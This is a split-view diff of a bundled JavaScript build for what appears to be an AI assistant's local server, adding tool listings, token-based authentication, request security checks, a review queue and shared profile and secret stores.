|
|
65103
|
-
void
|
|
65625
|
+
void saveRetrieval({ dispatcher: message.enabled }).then(() => {
|
|
65104
65626
|
void postDispatcher();
|
|
65105
65627
|
if (message.enabled)
|
|
65106
65628
|
scheduleDocsReindex("dispatcher enabled");
|
|
65107
65629
|
}).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
65630
|
+
} else if (message.type === "setSkillRetrieval") {
|
|
65631
|
+
void saveRetrieval({ skills: message.enabled }).then(() => {
|
|
65632
|
+
void postDispatcher();
|
|
65633
|
+
if (message.enabled)
|
|
65634
|
+
scheduleDocsReindex("skill retrieval enabled");
|
|
65635
|
+
}).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
65108
65636
|
} else if (message.type === "startIndexing") {
|
|
65109
65637
|
void handleStartIndexing();
|
|
65110
65638
|
} else if (message.type === "cancelIndexing") {
|
|
@@ -65113,6 +65641,10 @@ function wireChatBridge(services) {
|
|
|
65113
65641
|
void handleSaveEmbedder(message.profileId, message.model, message.dimensions, message.indexName, message.indexPrefix);
|
|
65114
65642
|
} else if (message.type === "requestEmbedderModels") {
|
|
65115
65643
|
void handleRequestEmbedderModels(message.profileId);
|
|
65644
|
+
} else if (message.type === "openWalkthrough") {
|
|
65645
|
+
void ui.openWalkthrough?.();
|
|
65646
|
+
} else if (message.type === "requestTools") {
|
|
65647
|
+
void postTools();
|
|
65116
65648
|
} else if (message.type === "requestSchedules") {
|
|
65117
65649
|
void postSchedules();
|
|
65118
65650
|
} else if (message.type === "saveSchedule") {
|
|
@@ -65266,16 +65798,42 @@ ${entry.content}`);
|
|
|
65266
65798
|
function allToolsForPicker() {
|
|
65267
65799
|
return currentToolRegistry(void 0, void 0, void 0, void 0, false).list().filter((tool) => !NEVER_AVAILABLE_TO_SCHEDULES.includes(tool.name)).map((tool) => ({ name: tool.name, description: tool.description, group: tool.group })).sort((a, b) => a.name.localeCompare(b.name));
|
|
65268
65800
|
}
|
|
65801
|
+
async function postTools() {
|
|
65802
|
+
const { config: config2 } = await configManager.load();
|
|
65803
|
+
const dispatcher = config2.retrieval?.dispatcher === true;
|
|
65804
|
+
const registry2 = currentToolRegistry(void 0, void 0, void 0, void 0, dispatcher);
|
|
65805
|
+
const advertised = new Set(registry2.promptList().map((tool) => tool.name));
|
|
65806
|
+
const pythonNames = new Set(python.tools().map((tool) => tool.name));
|
|
65807
|
+
const mcpNames = new Set(mcp.enabledTools().map((tool) => tool.name));
|
|
65808
|
+
post({
|
|
65809
|
+
type: "tools",
|
|
65810
|
+
dispatcher,
|
|
65811
|
+
tools: registry2.list().map((tool) => {
|
|
65812
|
+
const server = mcpNames.has(tool.name) ? parseNamespacedToolName(tool.name)?.serverName : void 0;
|
|
65813
|
+
const source = pythonNames.has(tool.name) ? "python" : mcpNames.has(tool.name) ? "mcp" : "built-in";
|
|
65814
|
+
return {
|
|
65815
|
+
name: tool.name,
|
|
65816
|
+
description: tool.description,
|
|
65817
|
+
group: tool.group,
|
|
65818
|
+
source,
|
|
65819
|
+
...server !== void 0 ? { server } : {},
|
|
65820
|
+
advertised: advertised.has(tool.name)
|
|
65821
|
+
};
|
|
65822
|
+
}).sort((a, b) => a.name.localeCompare(b.name))
|
|
65823
|
+
});
|
|
65824
|
+
}
|
|
65269
65825
|
async function loadSchedules() {
|
|
65270
65826
|
const { config: config2 } = await configManager.load();
|
|
65271
65827
|
return config2.schedules ?? {};
|
|
65272
65828
|
}
|
|
65273
65829
|
async function postSchedules() {
|
|
65830
|
+
await refreshSkills();
|
|
65274
65831
|
const schedules = await loadSchedules();
|
|
65275
65832
|
post({
|
|
65276
65833
|
type: "schedules",
|
|
65277
65834
|
schedules: Object.values(schedules).sort((a, b) => a.name.localeCompare(b.name)),
|
|
65278
65835
|
tools: allToolsForPicker(),
|
|
65836
|
+
skills: skills.map((skill) => ({ name: skill.name, description: skill.description })),
|
|
65279
65837
|
...runningScheduleId !== void 0 ? { runningId: runningScheduleId } : {},
|
|
65280
65838
|
scheduler: {
|
|
65281
65839
|
running: scheduleTimer !== void 0,
|
|
@@ -66030,7 +66588,10 @@ var executeCommandTool = {
|
|
|
66030
66588
|
parametersSchema: paramsSchema10,
|
|
66031
66589
|
async execute(params, context) {
|
|
66032
66590
|
const cwd = params.cwd !== void 0 ? params.cwd : context.workspaceRoot;
|
|
66033
|
-
const proc = context.terminal.run(params.command, {
|
|
66591
|
+
const proc = context.terminal.run(params.command, {
|
|
66592
|
+
cwd,
|
|
66593
|
+
...context.sessionEnv !== void 0 ? { env: context.sessionEnv } : {}
|
|
66594
|
+
});
|
|
66034
66595
|
let output = "";
|
|
66035
66596
|
let truncated = false;
|
|
66036
66597
|
proc.onData((chunk) => {
|
|
@@ -66167,10 +66728,10 @@ function readSmall(raw, params) {
|
|
|
66167
66728
|
const end = params.limit !== void 0 ? start + params.limit : lines.length;
|
|
66168
66729
|
return number4(lines.slice(start, end), start + 1);
|
|
66169
66730
|
}
|
|
66170
|
-
async function readLarge(
|
|
66731
|
+
async function readLarge(fs23, realPath, params, size) {
|
|
66171
66732
|
const human = formatBytes(size);
|
|
66172
66733
|
if (params.tail !== void 0) {
|
|
66173
|
-
const part = await readTail(
|
|
66734
|
+
const part = await readTail(fs23, realPath, size, params.tail);
|
|
66174
66735
|
return [
|
|
66175
66736
|
`${human} file \u2014 last ${String(part.lines.length)} lines.`,
|
|
66176
66737
|
/*
|
|
@@ -66185,7 +66746,7 @@ async function readLarge(fs20, realPath, params, size) {
|
|
|
66185
66746
|
}
|
|
66186
66747
|
if (params.offset !== void 0) {
|
|
66187
66748
|
const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
|
|
66188
|
-
const part = await readLineWindow(
|
|
66749
|
+
const part = await readLineWindow(fs23, realPath, size, params.offset, limit);
|
|
66189
66750
|
const shown = part.lines.length;
|
|
66190
66751
|
return [
|
|
66191
66752
|
`${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
|
|
@@ -66193,7 +66754,7 @@ async function readLarge(fs20, realPath, params, size) {
|
|
|
66193
66754
|
number4(part.lines, params.offset)
|
|
66194
66755
|
].join("\n");
|
|
66195
66756
|
}
|
|
66196
|
-
const total = await countLines(
|
|
66757
|
+
const total = await countLines(fs23, realPath, size);
|
|
66197
66758
|
return [
|
|
66198
66759
|
`${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
|
|
66199
66760
|
"",
|
|
@@ -66382,9 +66943,167 @@ function createDefaultToolRegistry() {
|
|
|
66382
66943
|
return registry2;
|
|
66383
66944
|
}
|
|
66384
66945
|
|
|
66946
|
+
// src/sharedConfig.ts
|
|
66947
|
+
var EMPTY = { variables: [], adminIds: [], profiles: [] };
|
|
66948
|
+
var SharedConfigStore = class {
|
|
66949
|
+
constructor(filePath) {
|
|
66950
|
+
this.filePath = filePath;
|
|
66951
|
+
}
|
|
66952
|
+
filePath;
|
|
66953
|
+
cache;
|
|
66954
|
+
async load() {
|
|
66955
|
+
if (this.cache !== void 0) return this.cache;
|
|
66956
|
+
try {
|
|
66957
|
+
const raw = JSON.parse(await fs17.readFile(this.filePath, "utf8"));
|
|
66958
|
+
const variables = sessionVariablesSchema.safeParse(raw["variables"]);
|
|
66959
|
+
const adminIds = Array.isArray(raw["adminIds"]) ? raw["adminIds"].filter((id) => typeof id === "string") : [];
|
|
66960
|
+
const profiles = external_exports.array(providerProfileSchema).safeParse(raw["profiles"]);
|
|
66961
|
+
const defaultProfileId = typeof raw["defaultProfileId"] === "string" ? raw["defaultProfileId"] : void 0;
|
|
66962
|
+
const defaultProgrammingProfileId = typeof raw["defaultProgrammingProfileId"] === "string" ? raw["defaultProgrammingProfileId"] : void 0;
|
|
66963
|
+
this.cache = {
|
|
66964
|
+
variables: variables.success ? variables.data : [],
|
|
66965
|
+
adminIds,
|
|
66966
|
+
profiles: profiles.success ? profiles.data : [],
|
|
66967
|
+
...defaultProfileId !== void 0 ? { defaultProfileId } : {},
|
|
66968
|
+
...defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId } : {}
|
|
66969
|
+
};
|
|
66970
|
+
} catch {
|
|
66971
|
+
this.cache = { ...EMPTY };
|
|
66972
|
+
}
|
|
66973
|
+
return this.cache;
|
|
66974
|
+
}
|
|
66975
|
+
async save(next) {
|
|
66976
|
+
const current = await this.load();
|
|
66977
|
+
const merged = { ...current, ...next };
|
|
66978
|
+
await fs17.mkdir(path22.dirname(this.filePath), { recursive: true });
|
|
66979
|
+
const temporary = `${this.filePath}.tmp`;
|
|
66980
|
+
await fs17.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
|
|
66981
|
+
await fs17.rename(temporary, this.filePath);
|
|
66982
|
+
this.cache = merged;
|
|
66983
|
+
return merged;
|
|
66984
|
+
}
|
|
66985
|
+
};
|
|
66986
|
+
|
|
66987
|
+
// src/server.ts
|
|
66988
|
+
import fs22 from "node:fs/promises";
|
|
66989
|
+
import {
|
|
66990
|
+
createServer
|
|
66991
|
+
} from "node:http";
|
|
66992
|
+
import path27 from "node:path";
|
|
66993
|
+
|
|
66994
|
+
// src/identity.ts
|
|
66995
|
+
import crypto5 from "node:crypto";
|
|
66996
|
+
var SingleUserIdentity = class _SingleUserIdentity {
|
|
66997
|
+
describe = "single user (local)";
|
|
66998
|
+
static PRINCIPAL = { id: "local", displayName: "Local user" };
|
|
66999
|
+
/** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
|
|
67000
|
+
sessionToken = crypto5.randomBytes(32).toString("base64url");
|
|
67001
|
+
/**
|
|
67002
|
+
* Single-use and short-lived, because it travels in the launch URL's fragment where it
|
|
67003
|
+
* can end up in shell history or a terminal scrollback (§14).
|
|
67004
|
+
*/
|
|
67005
|
+
handoffToken = crypto5.randomBytes(32).toString("base64url");
|
|
67006
|
+
handoffExpiresAt = Date.now() + 1e4;
|
|
67007
|
+
get launchToken() {
|
|
67008
|
+
if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
|
|
67009
|
+
return this.handoffToken;
|
|
67010
|
+
}
|
|
67011
|
+
/**
|
|
67012
|
+
* Exchanges the handoff token for the session token, once.
|
|
67013
|
+
*
|
|
67014
|
+
* Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
|
|
67015
|
+
* or an attack, and in both cases the right answer is that this token is now spent.
|
|
67016
|
+
*/
|
|
67017
|
+
redeemHandoff(presented) {
|
|
67018
|
+
const expected = this.handoffToken;
|
|
67019
|
+
const expiresAt = this.handoffExpiresAt;
|
|
67020
|
+
this.handoffToken = void 0;
|
|
67021
|
+
if (expected === void 0 || Date.now() > expiresAt) return void 0;
|
|
67022
|
+
return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
|
|
67023
|
+
}
|
|
67024
|
+
async authenticate(request) {
|
|
67025
|
+
const header = request.headers.authorization;
|
|
67026
|
+
if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
|
|
67027
|
+
return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
|
|
67028
|
+
}
|
|
67029
|
+
};
|
|
67030
|
+
function timingSafeEquals(a, b) {
|
|
67031
|
+
const left = Buffer.from(a);
|
|
67032
|
+
const right = Buffer.from(b);
|
|
67033
|
+
if (left.length !== right.length) return false;
|
|
67034
|
+
return crypto5.timingSafeEqual(left, right);
|
|
67035
|
+
}
|
|
67036
|
+
function storageKeyFor(principal) {
|
|
67037
|
+
return crypto5.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
|
|
67038
|
+
}
|
|
67039
|
+
|
|
67040
|
+
// src/security.ts
|
|
67041
|
+
var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
|
|
67042
|
+
function checkRequest(request, policy, options) {
|
|
67043
|
+
const host = request.headers.host;
|
|
67044
|
+
if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
|
|
67045
|
+
return {
|
|
67046
|
+
status: 421,
|
|
67047
|
+
reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
|
|
67048
|
+
};
|
|
67049
|
+
}
|
|
67050
|
+
const origin = request.headers.origin;
|
|
67051
|
+
if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
|
|
67052
|
+
return { status: 403, reason: `Origin "${origin}" is not allowed.` };
|
|
67053
|
+
}
|
|
67054
|
+
const fetchSite = request.headers["sec-fetch-site"];
|
|
67055
|
+
if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
|
|
67056
|
+
return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
|
|
67057
|
+
}
|
|
67058
|
+
const method = (request.method ?? "GET").toUpperCase();
|
|
67059
|
+
if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
|
|
67060
|
+
return { status: 403, reason: `Missing Origin header on a ${method}.` };
|
|
67061
|
+
}
|
|
67062
|
+
return void 0;
|
|
67063
|
+
}
|
|
67064
|
+
function securityHeaders() {
|
|
67065
|
+
return {
|
|
67066
|
+
"Content-Security-Policy": [
|
|
67067
|
+
"default-src 'none'",
|
|
67068
|
+
"script-src 'self'",
|
|
67069
|
+
// The UI styles through the CSSOM rather than inline attributes, but the browser
|
|
67070
|
+
// build also needs a stylesheet for the page shell.
|
|
67071
|
+
"style-src 'self' 'unsafe-inline'",
|
|
67072
|
+
"img-src 'self' data:",
|
|
67073
|
+
"font-src 'self'",
|
|
67074
|
+
"connect-src 'self'",
|
|
67075
|
+
"frame-ancestors 'none'",
|
|
67076
|
+
"base-uri 'none'",
|
|
67077
|
+
"form-action 'none'"
|
|
67078
|
+
].join("; "),
|
|
67079
|
+
"X-Content-Type-Options": "nosniff",
|
|
67080
|
+
"Referrer-Policy": "no-referrer",
|
|
67081
|
+
// Nothing here needs a camera, a microphone or a location.
|
|
67082
|
+
"Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
|
|
67083
|
+
"Cache-Control": "no-store"
|
|
67084
|
+
// Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
|
|
67085
|
+
};
|
|
67086
|
+
}
|
|
67087
|
+
function reject(response, rejected) {
|
|
67088
|
+
response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
|
|
67089
|
+
response.end(rejected.reason);
|
|
67090
|
+
}
|
|
67091
|
+
async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
|
|
67092
|
+
const chunks = [];
|
|
67093
|
+
let total = 0;
|
|
67094
|
+
for await (const chunk of request) {
|
|
67095
|
+
const buffer = chunk;
|
|
67096
|
+
total += buffer.length;
|
|
67097
|
+
if (total > maxBytes) throw new Error("Request body too large.");
|
|
67098
|
+
chunks.push(buffer);
|
|
67099
|
+
}
|
|
67100
|
+
if (total === 0) return void 0;
|
|
67101
|
+
return JSON.parse(Buffer.concat(chunks).toString("utf8"));
|
|
67102
|
+
}
|
|
67103
|
+
|
|
66385
67104
|
// src/fileSecretStore.ts
|
|
66386
|
-
import
|
|
66387
|
-
import
|
|
67105
|
+
import fs18 from "node:fs/promises";
|
|
67106
|
+
import path23 from "node:path";
|
|
66388
67107
|
var FileSecretStore = class {
|
|
66389
67108
|
constructor(filePath) {
|
|
66390
67109
|
this.filePath = filePath;
|
|
@@ -66396,7 +67115,7 @@ var FileSecretStore = class {
|
|
|
66396
67115
|
async load() {
|
|
66397
67116
|
if (this.cache !== void 0) return this.cache;
|
|
66398
67117
|
try {
|
|
66399
|
-
const raw = await
|
|
67118
|
+
const raw = await fs18.readFile(this.filePath, "utf8");
|
|
66400
67119
|
const parsed = JSON.parse(raw);
|
|
66401
67120
|
this.cache = typeof parsed === "object" && parsed !== null ? parsed : {};
|
|
66402
67121
|
} catch {
|
|
@@ -66408,10 +67127,10 @@ var FileSecretStore = class {
|
|
|
66408
67127
|
this.queue = this.queue.then(async () => {
|
|
66409
67128
|
const secrets = await this.load();
|
|
66410
67129
|
mutate(secrets);
|
|
66411
|
-
await
|
|
67130
|
+
await fs18.mkdir(path23.dirname(this.filePath), { recursive: true });
|
|
66412
67131
|
const temp = `${this.filePath}.${process.pid}.tmp`;
|
|
66413
|
-
await
|
|
66414
|
-
await
|
|
67132
|
+
await fs18.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
|
|
67133
|
+
await fs18.rename(temp, this.filePath);
|
|
66415
67134
|
});
|
|
66416
67135
|
return this.queue;
|
|
66417
67136
|
}
|
|
@@ -66440,7 +67159,233 @@ var FileSecretStore = class {
|
|
|
66440
67159
|
}
|
|
66441
67160
|
};
|
|
66442
67161
|
|
|
67162
|
+
// src/reviewQueue.ts
|
|
67163
|
+
import crypto6 from "node:crypto";
|
|
67164
|
+
import fs19 from "node:fs/promises";
|
|
67165
|
+
import path24 from "node:path";
|
|
67166
|
+
var ReviewQueue = class {
|
|
67167
|
+
constructor(filePath) {
|
|
67168
|
+
this.filePath = filePath;
|
|
67169
|
+
}
|
|
67170
|
+
filePath;
|
|
67171
|
+
cache;
|
|
67172
|
+
async load() {
|
|
67173
|
+
if (this.cache !== void 0) return this.cache;
|
|
67174
|
+
try {
|
|
67175
|
+
const parsed = JSON.parse(await fs19.readFile(this.filePath, "utf8"));
|
|
67176
|
+
this.cache = Array.isArray(parsed) ? parsed : [];
|
|
67177
|
+
} catch {
|
|
67178
|
+
this.cache = [];
|
|
67179
|
+
}
|
|
67180
|
+
return this.cache;
|
|
67181
|
+
}
|
|
67182
|
+
async persist(items) {
|
|
67183
|
+
this.cache = items;
|
|
67184
|
+
await fs19.mkdir(path24.dirname(this.filePath), { recursive: true });
|
|
67185
|
+
const temporary = `${this.filePath}.tmp`;
|
|
67186
|
+
await fs19.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
|
|
67187
|
+
await fs19.rename(temporary, this.filePath);
|
|
67188
|
+
}
|
|
67189
|
+
async list() {
|
|
67190
|
+
return [...await this.load()];
|
|
67191
|
+
}
|
|
67192
|
+
async pending() {
|
|
67193
|
+
return (await this.load()).filter((item) => item.status === "pending");
|
|
67194
|
+
}
|
|
67195
|
+
async submit(request) {
|
|
67196
|
+
const items = await this.load();
|
|
67197
|
+
const superseded = items.findIndex(
|
|
67198
|
+
(item) => item.status === "pending" && item.kind === request.kind && item.name === request.name
|
|
67199
|
+
);
|
|
67200
|
+
const queued = {
|
|
67201
|
+
...request,
|
|
67202
|
+
id: crypto6.randomUUID(),
|
|
67203
|
+
submittedAt: Date.now(),
|
|
67204
|
+
status: "pending"
|
|
67205
|
+
};
|
|
67206
|
+
if (superseded === -1) items.push(queued);
|
|
67207
|
+
else items[superseded] = queued;
|
|
67208
|
+
await this.persist(items);
|
|
67209
|
+
return queued;
|
|
67210
|
+
}
|
|
67211
|
+
async decide(id, decision) {
|
|
67212
|
+
const items = await this.load();
|
|
67213
|
+
const item = items.find((candidate) => candidate.id === id);
|
|
67214
|
+
if (item === void 0 || item.status !== "pending") return void 0;
|
|
67215
|
+
item.status = decision.approved ? "approved" : "rejected";
|
|
67216
|
+
item.decidedBy = decision.by;
|
|
67217
|
+
item.decidedAt = Date.now();
|
|
67218
|
+
if (decision.reason !== void 0 && decision.reason.length > 0) item.reason = decision.reason;
|
|
67219
|
+
await this.persist(items);
|
|
67220
|
+
return item;
|
|
67221
|
+
}
|
|
67222
|
+
/**
|
|
67223
|
+
* Drops decided items older than the cutoff.
|
|
67224
|
+
*
|
|
67225
|
+
* Kept for a while rather than deleted on decision: "who approved this and when" is the question
|
|
67226
|
+
* a review queue exists to be able to answer afterwards, and the audit log records the decision
|
|
67227
|
+
* but not the source that was read.
|
|
67228
|
+
*/
|
|
67229
|
+
async prune(olderThanMs) {
|
|
67230
|
+
const cutoff = Date.now() - olderThanMs;
|
|
67231
|
+
const items = await this.load();
|
|
67232
|
+
const kept = items.filter((item) => item.status === "pending" || (item.decidedAt ?? 0) > cutoff);
|
|
67233
|
+
if (kept.length !== items.length) await this.persist(kept);
|
|
67234
|
+
}
|
|
67235
|
+
};
|
|
67236
|
+
|
|
67237
|
+
// src/sharedProfiles.ts
|
|
67238
|
+
var SHARED_PREFIX = "shared:";
|
|
67239
|
+
function isSharedProfileId(id) {
|
|
67240
|
+
return id.startsWith(SHARED_PREFIX);
|
|
67241
|
+
}
|
|
67242
|
+
function toSharedProfileId(id) {
|
|
67243
|
+
return `${SHARED_PREFIX}${id}`;
|
|
67244
|
+
}
|
|
67245
|
+
function isSharedSecretRef(ref) {
|
|
67246
|
+
return ref.startsWith(`profile:${SHARED_PREFIX}`);
|
|
67247
|
+
}
|
|
67248
|
+
function presentSharedProfiles(profiles) {
|
|
67249
|
+
return profiles.map((profile) => ({
|
|
67250
|
+
...profile,
|
|
67251
|
+
id: toSharedProfileId(profile.id),
|
|
67252
|
+
...profile.auth.type === "apiKey" && profile.auth.apiKeyRef !== void 0 ? { auth: { ...profile.auth, apiKeyRef: `profile:${toSharedProfileId(profile.id)}:apiKey` } } : {}
|
|
67253
|
+
}));
|
|
67254
|
+
}
|
|
67255
|
+
var SharedProfileConfigStore = class {
|
|
67256
|
+
constructor(inner, shared) {
|
|
67257
|
+
this.inner = inner;
|
|
67258
|
+
this.shared = shared;
|
|
67259
|
+
}
|
|
67260
|
+
inner;
|
|
67261
|
+
shared;
|
|
67262
|
+
async read(scope) {
|
|
67263
|
+
const raw = await this.inner.read(scope);
|
|
67264
|
+
if (scope !== "user") return raw;
|
|
67265
|
+
const shared = this.shared();
|
|
67266
|
+
const presented = presentSharedProfiles(shared.profiles);
|
|
67267
|
+
if (presented.length === 0) return raw;
|
|
67268
|
+
let parsed;
|
|
67269
|
+
try {
|
|
67270
|
+
parsed = raw === void 0 ? {} : JSON.parse(raw);
|
|
67271
|
+
} catch {
|
|
67272
|
+
return raw;
|
|
67273
|
+
}
|
|
67274
|
+
const own = Array.isArray(parsed["profiles"]) ? parsed["profiles"] : [];
|
|
67275
|
+
const merged = [...presented, ...own.filter((profile) => !isSharedProfileId(profile.id))];
|
|
67276
|
+
const activeId = typeof parsed["activeProfileId"] === "string" ? parsed["activeProfileId"] : void 0;
|
|
67277
|
+
const resolvedActive = activeId !== void 0 && merged.some((profile) => profile.id === activeId) ? activeId : shared.defaultProfileId !== void 0 && merged.some((profile) => profile.id === toSharedProfileId(shared.defaultProfileId ?? "")) ? toSharedProfileId(shared.defaultProfileId) : activeId;
|
|
67278
|
+
const ownProgramming = typeof parsed["programmingProfileId"] === "string" ? parsed["programmingProfileId"] : void 0;
|
|
67279
|
+
const sharedProgramming = shared.defaultProgrammingProfileId !== void 0 ? toSharedProfileId(shared.defaultProgrammingProfileId) : void 0;
|
|
67280
|
+
const resolvedProgramming = ownProgramming !== void 0 && merged.some((profile) => profile.id === ownProgramming) ? ownProgramming : sharedProgramming !== void 0 && merged.some((profile) => profile.id === sharedProgramming) ? sharedProgramming : ownProgramming;
|
|
67281
|
+
return JSON.stringify({
|
|
67282
|
+
...parsed,
|
|
67283
|
+
profiles: merged,
|
|
67284
|
+
...resolvedActive !== void 0 ? { activeProfileId: resolvedActive } : {},
|
|
67285
|
+
...resolvedProgramming !== void 0 ? { programmingProfileId: resolvedProgramming } : {}
|
|
67286
|
+
});
|
|
67287
|
+
}
|
|
67288
|
+
async write(scope, contents) {
|
|
67289
|
+
if (scope !== "user") return this.inner.write(scope, contents);
|
|
67290
|
+
let parsed;
|
|
67291
|
+
try {
|
|
67292
|
+
parsed = JSON.parse(contents);
|
|
67293
|
+
} catch {
|
|
67294
|
+
return this.inner.write(scope, contents);
|
|
67295
|
+
}
|
|
67296
|
+
if (Array.isArray(parsed["profiles"])) {
|
|
67297
|
+
parsed["profiles"] = parsed["profiles"].filter(
|
|
67298
|
+
(profile) => !isSharedProfileId(profile.id)
|
|
67299
|
+
);
|
|
67300
|
+
}
|
|
67301
|
+
return this.inner.write(scope, JSON.stringify(parsed, null, 2));
|
|
67302
|
+
}
|
|
67303
|
+
watch(scope, onChange) {
|
|
67304
|
+
return this.inner.watch(scope, onChange);
|
|
67305
|
+
}
|
|
67306
|
+
};
|
|
67307
|
+
var RoutedSecretStore = class {
|
|
67308
|
+
constructor(own, shared) {
|
|
67309
|
+
this.own = own;
|
|
67310
|
+
this.shared = shared;
|
|
67311
|
+
}
|
|
67312
|
+
own;
|
|
67313
|
+
shared;
|
|
67314
|
+
storeFor(key) {
|
|
67315
|
+
return isSharedSecretRef(key) ? this.shared : this.own;
|
|
67316
|
+
}
|
|
67317
|
+
async get(key) {
|
|
67318
|
+
return this.storeFor(key).get(key);
|
|
67319
|
+
}
|
|
67320
|
+
async set(key, value) {
|
|
67321
|
+
return this.storeFor(key).set(key, value);
|
|
67322
|
+
}
|
|
67323
|
+
async delete(key) {
|
|
67324
|
+
return this.storeFor(key).delete(key);
|
|
67325
|
+
}
|
|
67326
|
+
/**
|
|
67327
|
+
* Clears the user's own only.
|
|
67328
|
+
*
|
|
67329
|
+
* "Clear all stored secrets" is offered to every user, and an administrator's key is not theirs
|
|
67330
|
+
* to destroy — one person tidying up would otherwise break the gateway for everybody. An
|
|
67331
|
+
* administrator clears the shared ones from the shared store.
|
|
67332
|
+
*/
|
|
67333
|
+
async clear() {
|
|
67334
|
+
return this.own.clear();
|
|
67335
|
+
}
|
|
67336
|
+
backendName() {
|
|
67337
|
+
return this.own.backendName();
|
|
67338
|
+
}
|
|
67339
|
+
};
|
|
67340
|
+
|
|
67341
|
+
// src/userVariables.ts
|
|
67342
|
+
import fs20 from "node:fs/promises";
|
|
67343
|
+
import { readFileSync } from "node:fs";
|
|
67344
|
+
import path25 from "node:path";
|
|
67345
|
+
var UserVariableStore = class {
|
|
67346
|
+
constructor(filePath) {
|
|
67347
|
+
this.filePath = filePath;
|
|
67348
|
+
}
|
|
67349
|
+
filePath;
|
|
67350
|
+
/**
|
|
67351
|
+
* Synchronous, because it is read on the path that builds a command's environment and an
|
|
67352
|
+
* `await` there would make every tool call wait on a file. It is a few hundred bytes.
|
|
67353
|
+
*/
|
|
67354
|
+
read() {
|
|
67355
|
+
return readVariablesFile(this.filePath);
|
|
67356
|
+
}
|
|
67357
|
+
async save(variables) {
|
|
67358
|
+
const parsed = sessionVariablesSchema.parse(variables);
|
|
67359
|
+
await fs20.mkdir(path25.dirname(this.filePath), { recursive: true });
|
|
67360
|
+
const temporary = `${this.filePath}.tmp`;
|
|
67361
|
+
await fs20.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
|
|
67362
|
+
encoding: "utf8",
|
|
67363
|
+
mode: 384
|
|
67364
|
+
});
|
|
67365
|
+
await fs20.rename(temporary, this.filePath);
|
|
67366
|
+
return parsed;
|
|
67367
|
+
}
|
|
67368
|
+
};
|
|
67369
|
+
function userVariableStoreFor(dataDir, principal) {
|
|
67370
|
+
return new UserVariableStore(userVariablesPath(path25.join(dataDir, "users", storageKeyFor(principal))));
|
|
67371
|
+
}
|
|
67372
|
+
function userVariablesPath(userDir) {
|
|
67373
|
+
return path25.join(userDir, "variables.json");
|
|
67374
|
+
}
|
|
67375
|
+
function readVariablesFile(filePath) {
|
|
67376
|
+
try {
|
|
67377
|
+
const raw = JSON.parse(readFileSync(filePath, "utf8"));
|
|
67378
|
+
const parsed = sessionVariablesSchema.safeParse(raw["variables"]);
|
|
67379
|
+
return parsed.success ? parsed.data : [];
|
|
67380
|
+
} catch {
|
|
67381
|
+
return [];
|
|
67382
|
+
}
|
|
67383
|
+
}
|
|
67384
|
+
|
|
66443
67385
|
// src/session.ts
|
|
67386
|
+
import { watch as fsWatch } from "node:fs";
|
|
67387
|
+
import fs21 from "node:fs/promises";
|
|
67388
|
+
import path26 from "node:path";
|
|
66444
67389
|
var FileConfigStore = class {
|
|
66445
67390
|
constructor(userConfigPath, workspaceRoot) {
|
|
66446
67391
|
this.userConfigPath = userConfigPath;
|
|
@@ -66456,7 +67401,7 @@ var FileConfigStore = class {
|
|
|
66456
67401
|
const filePath = this.pathFor(scope);
|
|
66457
67402
|
if (filePath === void 0) return void 0;
|
|
66458
67403
|
try {
|
|
66459
|
-
return await
|
|
67404
|
+
return await fs21.readFile(filePath, "utf8");
|
|
66460
67405
|
} catch (error51) {
|
|
66461
67406
|
if (error51.code === "ENOENT") return void 0;
|
|
66462
67407
|
throw error51;
|
|
@@ -66465,8 +67410,8 @@ var FileConfigStore = class {
|
|
|
66465
67410
|
async write(scope, contents) {
|
|
66466
67411
|
const filePath = this.pathFor(scope);
|
|
66467
67412
|
if (filePath === void 0) throw new Error(`Cannot write ${scope} config: no workspace is open`);
|
|
66468
|
-
await
|
|
66469
|
-
await
|
|
67413
|
+
await fs21.mkdir(path26.dirname(filePath), { recursive: true });
|
|
67414
|
+
await fs21.writeFile(filePath, contents, { encoding: "utf8", mode: 384 });
|
|
66470
67415
|
}
|
|
66471
67416
|
watch(scope, onChange) {
|
|
66472
67417
|
const filePath = this.pathFor(scope);
|
|
@@ -66474,8 +67419,8 @@ var FileConfigStore = class {
|
|
|
66474
67419
|
};
|
|
66475
67420
|
let watcher;
|
|
66476
67421
|
try {
|
|
66477
|
-
watcher = fsWatch(
|
|
66478
|
-
if (filename ===
|
|
67422
|
+
watcher = fsWatch(path26.dirname(filePath), (_event, filename) => {
|
|
67423
|
+
if (filename === path26.basename(filePath)) onChange();
|
|
66479
67424
|
});
|
|
66480
67425
|
} catch {
|
|
66481
67426
|
}
|
|
@@ -66490,7 +67435,7 @@ var FileWorkspaceState = class {
|
|
|
66490
67435
|
values = {};
|
|
66491
67436
|
async load() {
|
|
66492
67437
|
try {
|
|
